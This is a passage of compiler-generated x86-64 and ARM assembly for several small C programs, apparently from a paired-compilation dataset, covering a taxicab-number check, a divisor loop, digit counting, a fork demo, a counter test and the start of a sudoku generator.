lsl r3, r3, #3
sub r3, r3, #24
add r3, r6, r3
add r3, r3, #16
ldmia r3, {r2-r3}
cmp r5, r3
cmpeq r4, r2
bne .L40
ldr r3, .L46+48
b .L41
.L40:
ldr r3, .L46+52
.L41:
str r3, [sp, #16]
str r0, [sp, #8]
str r1, [sp, #12]
str lr, [sp, #4]
str ip, [sp]
mov r3, r9
mov r2, r8
mov r1, r7
ldr r0, .L46+56
bl printf
ldr r3, [fp, #-132]
add r3, r3, #1
str r3, [fp, #-132]
.L39:
ldr r2, [fp, #-132]
ldr r3, [fp, #-120]
cmp r2, r3
bcc .L42
mov r3, #0
ldr r2, .L46
ldr r1, [r2]
ldr r2, [fp, #-32]
eors r1, r2, r1
mov r2, #0
beq .L44
bl __stack_chk_fail
.L44:
mov r0, r3
sub sp, fp, #28
@ sp needed
pop {r4, r5, r6, r7, r8, r9, fp, pc}
.L47:
.align 2
.L46:
.word .LC5
.word stderr
.word .LC0
.word Limit
.word Mutex
.word TaxiCount
.word TaxiSize
.word Taxi
.word LoopThread
.word CmpTaxi
.word valid.7325
.word .LC1
.word .LC2
.word .LC3
.word .LC4
.size main, .-main
.section .rodata
.align 3
.type valid.7325, %object
.size valid.7325, 280
valid.7325:
.word 1729
.word 0
.word 4104
.word 0
.word 13832
.word 0
.word 20683
.word 0
.word 32832
.word 0
.word 39312
.word 0
.word 40033
.word 0
.word 46683
.word 0
.word 64232
.word 0
.word 65728
.word 0
.word 110656
.word 0
.word 110808
.word 0
.word 134379
.word 0
.word 149389
.word 0
.word 165464
.word 0
.word 171288
.word 0
.word 195841
.word 0
.word 216027
.word 0
.word 216125
.word 0
.word 262656
.word 0
.word 314496
.word 0
.word 320264
.word 0
.word 327763
.word 0
.word 373464
.word 0
.word 402597
.word 0
.word 439101
.word 0
.word 443889
.word 0
.word 513000
.word 0
.word 513856
.word 0
.word 515375
.word 0
.word 525824
.word 0
.word 558441
.word 0
.word 593047
.word 0
.word 684019
.word 0
.word 704977
.word 0
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "759939.c"
.intel_syntax noprefix
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -8[rbp], 40
mov DWORD PTR -4[rbp], 50
mov DWORD PTR -16[rbp], 1
jmp .L2
.L5:
mov eax, DWORD PTR -8[rbp]
cdq
idiv DWORD PTR -16[rbp]
mov eax, edx
test eax, eax
jne .L3
mov eax, DWORD PTR -4[rbp]
cdq
idiv DWORD PTR -16[rbp]
mov eax, edx
test eax, eax
jne .L3
mov eax, DWORD PTR -16[rbp]
mov DWORD PTR -12[rbp], eax
.L3:
add DWORD PTR -16[rbp], 1
.L2:
mov eax, DWORD PTR -16[rbp]
cmp eax, DWORD PTR -8[rbp]
jg .L4
mov eax, DWORD PTR -16[rbp]
cmp eax, DWORD PTR -4[rbp]
jle .L5
.L4:
mov eax, DWORD PTR -12[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "759939.c"
.text
.global __aeabi_idivmod
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
mov r3, #40
str r3, [fp, #-12]
mov r3, #50
str r3, [fp, #-8]
mov r3, #1
str r3, [fp, #-20]
b .L2
.L5:
ldr r3, [fp, #-12]
ldr r1, [fp, #-20]
mov r0, r3
bl __aeabi_idivmod
mov r3, r1
cmp r3, #0
bne .L3
ldr r3, [fp, #-8]
ldr r1, [fp, #-20]
mov r0, r3
bl __aeabi_idivmod
mov r3, r1
cmp r3, #0
bne .L3
ldr r3, [fp, #-20]
str r3, [fp, #-16]
.L3:
ldr r3, [fp, #-20]
add r3, r3, #1
str r3, [fp, #-20]
.L2:
ldr r2, [fp, #-20]
ldr r3, [fp, #-12]
cmp r2, r3
bgt .L4
ldr r2, [fp, #-20]
ldr r3, [fp, #-8]
cmp r2, r3
ble .L5
.L4:
ldr r3, [fp, #-16]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "110343.c"
.intel_syntax noprefix
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -4[rbp], -3
mov eax, DWORD PTR -4[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "110343.c"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
mvn r3, #2
str r3, [fp, #-8]
ldr r3, [fp, #-8]
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "396099.c"
.intel_syntax noprefix
.text
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "396099.c"
.text
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "546735.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "%d"
.LC2:
.string "%d\n"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 464
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rax, -448[rbp]
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov DWORD PTR -440[rbp], 0
mov DWORD PTR -436[rbp], 1
mov DWORD PTR -440[rbp], 0
jmp .L2
.L16:
lea rax, -444[rbp]
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov DWORD PTR -432[rbp], 0
mov DWORD PTR -432[rbp], 0
jmp .L3
.L4:
lea rdx, -416[rbp]
mov eax, DWORD PTR -432[rbp]
cdqe
sal rax, 2
add rax, rdx
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call __isoc99_scanf@PLT
add DWORD PTR -432[rbp], 1
.L3:
mov eax, DWORD PTR -444[rbp]
cmp DWORD PTR -432[rbp], eax
jl .L4
mov DWORD PTR -428[rbp], 0
mov DWORD PTR -432[rbp], 0
jmp .L5
.L8:
mov DWORD PTR -428[rbp], 0
jmp .L6
.L7:
add DWORD PTR -436[rbp], 1
mov eax, DWORD PTR -432[rbp]
cdqe
mov eax, DWORD PTR -416[rbp+rax*4]
movsx rdx, eax
imul rdx, rdx, 1717986919
shr rdx, 32
sar edx, 2
sar eax, 31
sub edx, eax
mov eax, DWORD PTR -432[rbp]
cdqe
mov DWORD PTR -416[rbp+rax*4], edx
add DWORD PTR -428[rbp], 1
.L6:
mov eax, DWORD PTR -432[rbp]
cdqe
mov eax, DWORD PTR -416[rbp+rax*4]
test eax, eax
jne .L7
mov eax, DWORD PTR -436[rbp]
lea edx, -1[rax]
mov eax, DWORD PTR -432[rbp]
cdqe
mov DWORD PTR -416[rbp+rax*4], edx
mov DWORD PTR -436[rbp], 1
add DWORD PTR -432[rbp], 1
.L5:
mov eax, DWORD PTR -444[rbp]
cmp DWORD PTR -432[rbp], eax
jl .L8
mov DWORD PTR -436[rbp], 1
mov DWORD PTR -424[rbp], 0
mov DWORD PTR -432[rbp], 0
jmp .L9
.L11:
mov eax, DWORD PTR -432[rbp]
cdqe
mov edx, DWORD PTR -416[rbp+rax*4]
mov eax, DWORD PTR -432[rbp]
add eax, 1
cdqe
mov eax, DWORD PTR -416[rbp+rax*4]
cmp edx, eax
je .L10
add DWORD PTR -436[rbp], 1
.L10:
add DWORD PTR -432[rbp], 1
.L9:
mov eax, DWORD PTR -444[rbp]
sub eax, 1
cmp DWORD PTR -432[rbp], eax
jl .L11
mov eax, DWORD PTR -436[rbp]
mov DWORD PTR -424[rbp], eax
mov DWORD PTR -436[rbp], 1
mov eax, DWORD PTR -424[rbp]
sub eax, 1
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov rax, QWORD PTR .LC1[rip]
movapd xmm1, xmm0
movq xmm0, rax
call pow@PLT
cvttsd2si eax, xmm0
mov DWORD PTR -420[rbp], eax
mov DWORD PTR -432[rbp], 1
jmp .L12
.L15:
mov eax, DWORD PTR -432[rbp]
cdqe
mov edx, DWORD PTR -416[rbp+rax*4]
mov eax, DWORD PTR -432[rbp]
sub eax, 1
cdqe
mov eax, DWORD PTR -416[rbp+rax*4]
cmp edx, eax
je .L13
sub DWORD PTR -424[rbp], 1
pxor xmm2, xmm2
cvtsi2sd xmm2, DWORD PTR -420[rbp]
movsd QWORD PTR -456[rbp], xmm2
mov eax, DWORD PTR -424[rbp]
sub eax, 1
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov rax, QWORD PTR .LC1[rip]
movapd xmm1, xmm0
movq xmm0, rax
call pow@PLT
addsd xmm0, QWORD PTR -456[rbp]
cvttsd2si eax, xmm0
mov DWORD PTR -420[rbp], eax
jmp .L14
.L13:
pxor xmm3, xmm3
cvtsi2sd xmm3, DWORD PTR -420[rbp]
movsd QWORD PTR -456[rbp], xmm3
mov eax, DWORD PTR -424[rbp]
sub eax, 1
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov rax, QWORD PTR .LC1[rip]
movapd xmm1, xmm0
movq xmm0, rax
call pow@PLT
addsd xmm0, QWORD PTR -456[rbp]
cvttsd2si eax, xmm0
mov DWORD PTR -420[rbp], eax
.L14:
add DWORD PTR -432[rbp], 1
.L12:
mov eax, DWORD PTR -444[rbp]
cmp DWORD PTR -432[rbp], eax
jl .L15
mov eax, DWORD PTR -420[rbp]
mov esi, eax
lea rdi, .LC2[rip]
mov eax, 0
call printf@PLT
add DWORD PTR -440[rbp], 1
.L2:
mov eax, DWORD PTR -448[rbp]
cmp DWORD PTR -440[rbp], eax
jl .L16
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L18
call __stack_chk_fail@PLT
.L18:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.section .rodata
.align 8
.LC1:
.long 0
.long 1073741824
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "546735.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "%d\000"
.global __aeabi_i2d
.global __aeabi_d2iz
.global __aeabi_dadd
.align 2
.LC1:
.ascii "%d\012\000"
.align 2
.LC2:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 440
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #440
ldr r3, .L19
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
sub r3, fp, #448
mov r1, r3
ldr r0, .L19+4
bl __isoc99_scanf
mov r3, #0
str r3, [fp, #-440]
mov r3, #1
str r3, [fp, #-436]
mov r3, #0
str r3, [fp, #-440]
b .L2
.L16:
sub r3, fp, #444
mov r1, r3
ldr r0, .L19+4
bl __isoc99_scanf
mov r3, #0
str r3, [fp, #-432]
mov r3, #0
str r3, [fp, #-432]
b .L3
.L4:
sub r2, fp, #416
ldr r3, [fp, #-432]
lsl r3, r3, #2
add r3, r2, r3
mov r1, r3
ldr r0, .L19+4
bl __isoc99_scanf
ldr r3, [fp, #-432]
add r3, r3, #1
str r3, [fp, #-432]
.L3:
ldr r3, [fp, #-444]
ldr r2, [fp, #-432]
cmp r2, r3
blt .L4
mov r3, #0
str r3, [fp, #-428]
mov r3, #0
str r3, [fp, #-432]
b .L5
.L8:
mov r3, #0
str r3, [fp, #-428]
b .L6
.L7:
ldr r3, [fp, #-436]
add r3, r3, #1
str r3, [fp, #-436]
ldr r3, [fp, #-432]
lsl r3, r3, #2
sub r2, fp, #12
add r3, r2, r3
ldr r3, [r3, #-404]
ldr r2, .L19+8
smull r1, r2, r3, r2
asr r2, r2, #2
asr r3, r3, #31
sub r2, r2, r3
ldr r3, [fp, #-432]
lsl r3, r3, #2
sub r1, fp, #12
add r3, r1, r3
str r2, [r3, #-404]
ldr r3, [fp, #-428]
add r3, r3, #1
str r3, [fp, #-428]
.L6:
ldr r3, [fp, #-432]
lsl r3, r3, #2
sub r2, fp, #12
add r3, r2, r3
ldr r3, [r3, #-404]
cmp r3, #0
bne .L7
ldr r3, [fp, #-436]
sub r2, r3, #1
ldr r3, [fp, #-432]
lsl r3, r3, #2
sub r1, fp, #12
add r3, r1, r3
str r2, [r3, #-404]
mov r3, #1
str r3, [fp, #-436]
ldr r3, [fp, #-432]
add r3, r3, #1
str r3, [fp, #-432]
.L5:
ldr r3, [fp, #-444]
ldr r2, [fp, #-432]
cmp r2, r3
blt .L8
mov r3, #1
str r3, [fp, #-436]
mov r3, #0
str r3, [fp, #-424]
mov r3, #0
str r3, [fp, #-432]
b .L9
.L11:
ldr r3, [fp, #-432]
lsl r3, r3, #2
sub r2, fp, #12
add r3, r2, r3
ldr r2, [r3, #-404]
ldr r3, [fp, #-432]
add r3, r3, #1
lsl r3, r3, #2
sub r1, fp, #12
add r3, r1, r3
ldr r3, [r3, #-404]
cmp r2, r3
beq .L10
ldr r3, [fp, #-436]
add r3, r3, #1
str r3, [fp, #-436]
.L10:
ldr r3, [fp, #-432]
add r3, r3, #1
str r3, [fp, #-432]
.L9:
ldr r3, [fp, #-444]
sub r3, r3, #1
ldr r2, [fp, #-432]
cmp r2, r3
blt .L11
ldr r3, [fp, #-436]
str r3, [fp, #-424]
mov r3, #1
str r3, [fp, #-436]
ldr r3, [fp, #-424]
sub r3, r3, #1
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, #0
mov r1, #1073741824
bl pow
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl __aeabi_d2iz
mov r3, r0
str r3, [fp, #-420]
mov r3, #1
str r3, [fp, #-432]
b .L12
.L15:
ldr r3, [fp, #-432]
lsl r3, r3, #2
sub r2, fp, #12
add r3, r2, r3
ldr r2, [r3, #-404]
ldr r3, [fp, #-432]
sub r3, r3, #1
lsl r3, r3, #2
sub r1, fp, #12
add r3, r1, r3
ldr r3, [r3, #-404]
cmp r2, r3
beq .L13
ldr r3, [fp, #-424]
sub r3, r3, #1
str r3, [fp, #-424]
ldr r0, [fp, #-420]
bl __aeabi_i2d
mov r4, r0
mov r5, r1
ldr r3, [fp, #-424]
sub r3, r3, #1
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, #0
mov r1, #1073741824
bl pow
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl __aeabi_d2iz
mov r3, r0
str r3, [fp, #-420]
b .L14
.L13:
ldr r0, [fp, #-420]
bl __aeabi_i2d
mov r4, r0
mov r5, r1
ldr r3, [fp, #-424]
sub r3, r3, #1
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, #0
mov r1, #1073741824
bl pow
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl __aeabi_d2iz
mov r3, r0
str r3, [fp, #-420]
.L14:
ldr r3, [fp, #-432]
add r3, r3, #1
str r3, [fp, #-432]
.L12:
ldr r3, [fp, #-444]
ldr r2, [fp, #-432]
cmp r2, r3
blt .L15
ldr r1, [fp, #-420]
ldr r0, .L19+12
bl printf
ldr r3, [fp, #-440]
add r3, r3, #1
str r3, [fp, #-440]
.L2:
ldr r3, [fp, #-448]
ldr r2, [fp, #-440]
cmp r2, r3
blt .L16
mov r3, #0
ldr r2, .L19
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L18
bl __stack_chk_fail
.L18:
mov r0, r3
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L20:
.align 2
.L19:
.word .LC2
.word .LC0
.word 1717986919
.word .LC1
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "16003.c"
.intel_syntax noprefix
.text
.section .rodata
.align 8
.LC0:
.string "I am Child Process, with PID %d\n"
.align 8
.LC1:
.string "I am Parent Process, with PID %d\n"
.text
.globl main
.type main, @function
main:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
call fork@PLT
mov DWORD PTR -4[rbp], eax
cmp DWORD PTR -4[rbp], 0
je .L2
mov edi, 0
call wait@PLT
mov DWORD PTR -12[rbp], 0
jmp .L3
.L4:
mov eax, DWORD PTR -4[rbp]
mov esi, eax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
mov edi, 50
call usleep@PLT
add DWORD PTR -12[rbp], 1
.L3:
cmp DWORD PTR -12[rbp], 4
jle .L4
jmp .L5
.L2:
mov DWORD PTR -8[rbp], 0
jmp .L6
.L7:
call getpid@PLT
mov esi, eax
lea rdi, .LC1[rip]
mov eax, 0
call printf@PLT
mov edi, 50
call usleep@PLT
add DWORD PTR -8[rbp], 1
.L6:
cmp DWORD PTR -8[rbp], 4
jle .L7
.L5:
mov edi, 0
call exit@PLT
.cfi_endproc
.LFE6:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "16003.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "I am Child Process, with PID %d\012\000"
.align 2
.LC1:
.ascii "I am Parent Process, with PID %d\012\000"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
bl fork
mov r3, r0
str r3, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
beq .L2
mov r0, #0
bl wait
mov r3, #0
str r3, [fp, #-16]
b .L3
.L4:
ldr r1, [fp, #-8]
ldr r0, .L8
bl printf
mov r0, #50
bl usleep
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L3:
ldr r3, [fp, #-16]
cmp r3, #4
ble .L4
b .L5
.L2:
mov r3, #0
str r3, [fp, #-12]
b .L6
.L7:
bl getpid
mov r3, r0
mov r1, r3
ldr r0, .L8+4
bl printf
mov r0, #50
bl usleep
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L6:
ldr r3, [fp, #-12]
cmp r3, #4
ble .L7
.L5:
mov r0, #0
bl exit
.L9:
.align 2
.L8:
.word .LC0
.word .LC1
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "101191.c"
.intel_syntax noprefix
.text
.globl counter
.bss
.align 4
.type counter, @object
.size counter, 4
counter:
.zero 4
.text
.globl real_g
.type real_g, @function
real_g:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov eax, DWORD PTR counter[rip]
add eax, 1
mov DWORD PTR counter[rip], eax
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size real_g, .-real_g
.section .rodata
.LC0:
.string "PASS"
.text
.globl main
.type main, @function
main:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
call real_g
call f@PLT
mov eax, DWORD PTR counter[rip]
cmp eax, 3
jne .L3
lea rdi, .LC0[rip]
call puts@PLT
.L3:
mov eax, 0
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "101191.c"
.text
.comm counter,4,4
.align 2
.global real_g
.syntax unified
.arm
.fpu softvfp
.type real_g, %function
real_g:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
ldr r3, .L2
ldr r3, [r3]
add r3, r3, #1
ldr r2, .L2
str r3, [r2]
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L3:
.align 2
.L2:
.word counter
.size real_g, .-real_g
.section .rodata
.align 2
.LC0:
.ascii "PASS\000"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
bl real_g
bl f
ldr r3, .L7
ldr r3, [r3]
cmp r3, #3
bne .L5
ldr r0, .L7+4
bl puts
.L5:
mov r3, #0
mov r0, r3
pop {fp, pc}
.L8:
.align 2
.L7:
.word counter
.word .LC0
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "581535.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "%i\n"
.LC1:
.string "Pause"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov DWORD PTR -36[rbp], 0
mov DWORD PTR -32[rbp], 1
mov DWORD PTR -28[rbp], 2
mov DWORD PTR -24[rbp], 3
mov DWORD PTR -20[rbp], 4
mov DWORD PTR -16[rbp], 5
mov DWORD PTR -40[rbp], 0
jmp .L2
.L3:
mov eax, DWORD PTR -40[rbp]
cdqe
mov eax, DWORD PTR -32[rbp+rax*4]
mov esi, eax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
add DWORD PTR -40[rbp], 1
.L2:
mov eax, DWORD PTR -40[rbp]
cmp eax, 4
jbe .L3
mov edi, 20
mov eax, 0
call printf@PLT
lea rdi, .LC1[rip]
mov eax, 0
call system@PLT
mov eax, 0
mov rdx, QWORD PTR -8[rbp]
sub rdx, QWORD PTR fs:40
je .L5
call __stack_chk_fail@PLT
.L5:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "581535.c"
.text
.section .rodata
.align 2
.LC1:
.ascii "%i\012\000"
.align 2
.LC2:
.ascii "Pause\000"
.align 2
.LC0:
.word 1
.word 2
.word 3
.word 4
.word 5
.align 2
.LC3:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #32
ldr r3, .L6
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
mov r3, #0
str r3, [fp, #-32]
ldr r3, .L6+4
sub ip, fp, #28
mov lr, r3
ldmia lr!, {r0, r1, r2, r3}
stmia ip!, {r0, r1, r2, r3}
ldr r3, [lr]
str r3, [ip]
mov r3, #0
str r3, [fp, #-36]
b .L2
.L3:
ldr r3, [fp, #-36]
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
ldr r3, [r3, #-24]
mov r1, r3
ldr r0, .L6+8
bl printf
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
.L2:
ldr r3, [fp, #-36]
cmp r3, #4
bls .L3
mov r0, #20
bl printf
ldr r0, .L6+12
bl system
mov r3, #0
ldr r2, .L6
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L5
bl __stack_chk_fail
.L5:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L7:
.align 2
.L6:
.word .LC3
.word .LC0
.word .LC1
.word .LC2
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "861710.c"
.intel_syntax noprefix
.text
.globl sd_genmat
.type sd_genmat, @function
sd_genmat:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 368
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov esi, 11664
mov edi, 1
call calloc@PLT
mov QWORD PTR -344[rbp], rax
mov DWORD PTR -356[rbp], 0
mov eax, DWORD PTR -356[rbp]
mov DWORD PTR -368[rbp], eax
jmp .L2
.L7:
mov DWORD PTR -364[rbp], 0
jmp .L3
.L6:
mov DWORD PTR -360[rbp], 0
jmp .L4
.L5:
mov eax, DWORD PTR -368[rbp]
